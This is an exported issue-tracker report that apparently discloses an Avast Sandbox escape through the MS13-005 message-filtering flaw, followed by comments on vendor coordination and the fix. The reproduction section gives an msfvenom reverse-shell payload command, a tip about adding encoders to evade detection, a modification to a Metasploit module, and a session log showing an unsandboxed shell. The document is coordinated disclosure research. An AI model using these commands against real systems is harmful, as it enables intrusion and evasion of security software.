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Avast: Sandbox/Autosandbox Message Filtering Vulnerable to MS13-005 #700

Closed GoogleCodeExporter closed 8 years ago

GoogleCodeExporter commented 8 years ago 
One component of Avast Antivirus is called "Sandbox". As you might guess, it's 
a proprietary application sandbox for Windows. Avast describes it as "[...] 
lets you run apps, download files, and visit websites in a secure virtual 
environment isolated from the rest of your computer." It's also part of their 
"AutoSandbox" feature which limits the privileges of unknown applications.

https://www.avast.com/f-sandbox

The sandbox implements something similar to integrity levels, but where writes 
are silently virtualized to a new object namespace that is disposed of when the 
process exits. Because sandboxed applications are run at medium integrity, I 
guessed that Avast had implemented their own UIPI/Message Filtering and were 
not using Microsoft's.

I guessed right. I actually found a bug in Microsoft UIPI in 2013, where 
broadcast messages were incorrectly exempt, allowing a low-integrity cmd.exe to 
spawn a medium integrity cmd.exe using GlobalHotKeys and then sending it input 
via WM_CHAR broadcasts.

I wrote a blog post about this here:

http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html

And in fact, there is a high quality working exploit for this bug in 
Metasploit, thanks to Ben Campbell (@Meatballs__) and Axel Souchet (@0vercl0k):

https://www.rapid7.com/db/modules/exploit/windows/local/ms13_005_hwnd_broadcast

Ben's exploit works perfectly out of the box to escape from Avast's sandbox if 
you remove the "unless low_integrity_level?" condition.

I don't know if this counts as a disclosure or not, as an existing public 
exploit works for a bug I published over two years ago. However, I asked Avast
and they requested I consider this a disclosure.

Here is how to reproduce.

First, create a metasploit payload, then run it as a sandboxed process by 
selecting "Run in sandbox" from the context menu (add encoders as necessary to 
bypass
any detection).

$ msfvenom --format exe --payload windows/shell/reverse_tcp 
LHOST=192.168.23.144 -o exploit.exe

The program should be sandboxed, however we can break out of the sandbox like
this (note that you must first remove the "unless low_integrity_level?" check
from modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb

$ msfconsole -q
msf > use exploit/multi/handler 
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.23.144:4444 
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 192.168.23.143
[*] Meterpreter session 1 opened (192.168.23.144:4444 -> 192.168.23.143:49209) 
at 2016-01-13 17:17:15 -0500
meterpreter > background 
[*] Backgrounding session 1...

This is the sandboxed exploit session.

msf exploit(handler) > use exploit/windows/local/ms13_005_hwnd_broadcast 
msf exploit(ms13_005_hwnd_broadcast) > set SESSION 1
SESSION => 1
msf exploit(ms13_005_hwnd_broadcast) > exploit
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.23.144:4444 
[*] Running module against WIN-BFQVICV75GS
[*] Using URL: http://0.0.0.0:8080/yycYoq4tAx1
[*] Local IP: http://192.168.23.144:8080/yycYoq4tAx1
[*] Server started.
[*] Spawning Low Integrity Cmd Prompt
[*] Bruteforcing Taskbar Position
[+] Spawned Medium Integrity Cmd Prompt
[*] Broadcasting payload command to prompt... I hope the user is asleep!
[*] Executing command...
[*] 192.168.23.143   ms13_005_hwnd_broadcast - Delivering Payload
[*] Sending stage (957487 bytes) to 192.168.23.143
[*] Meterpreter session 2 opened (192.168.23.144:4444 -> 192.168.23.143:49211) 
at 2016-01-13 17:19:19 -0500

Success, we now have a sandboxed session in 1, and a unsandboxed session in 2!

msf exploit(ms13_005_hwnd_broadcast) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > shell
Process 3240 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\Tavis Ormandy>echo escape!
escape!

It's pretty fun to watch the exploit work, here is Ben's video if you want to 
see what it looks like:

https://www.youtube.com/watch?v=Vw8ylvTOlBQ

Screenshot attached for reference.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by tav...@google.com on 13 Jan 2016 at 10:43

Attachments:

GoogleCodeExporter commented 8 years ago 
Issue 582 has been merged into this issue.

Original comment by tav...@google.com on 13 Jan 2016 at 10:43

GoogleCodeExporter commented 8 years ago 
Avast will miss this 90 day deadline, but have requested an extension until the 
20th, I received this update:

the upcoming program update is scheduled for January 28th.
But I'm told we'll release a silent update (of only the one or two modules 
associated with the sandbox, adding the message filtering) on January 20th.

I replied:

Hi Igor, this is cutting it really fine, but I think this will fit into our 
policy. To be clear, we're going to add the emergency extension so won't be 
releasing the bug today and we'll wait until the update.

Thanks, Tavis.

Original comment by tav...@google.com on 13 Jan 2016 at 10:44

GoogleCodeExporter commented 8 years ago 
This issue should be fixed today when the extension request expires, so 
unrestricting the bug. Avast fixed this issue in 100 days (90 days + 10 days 
emergency extension).

Original comment by tav...@google.com on 20 Jan 2016 at 3:12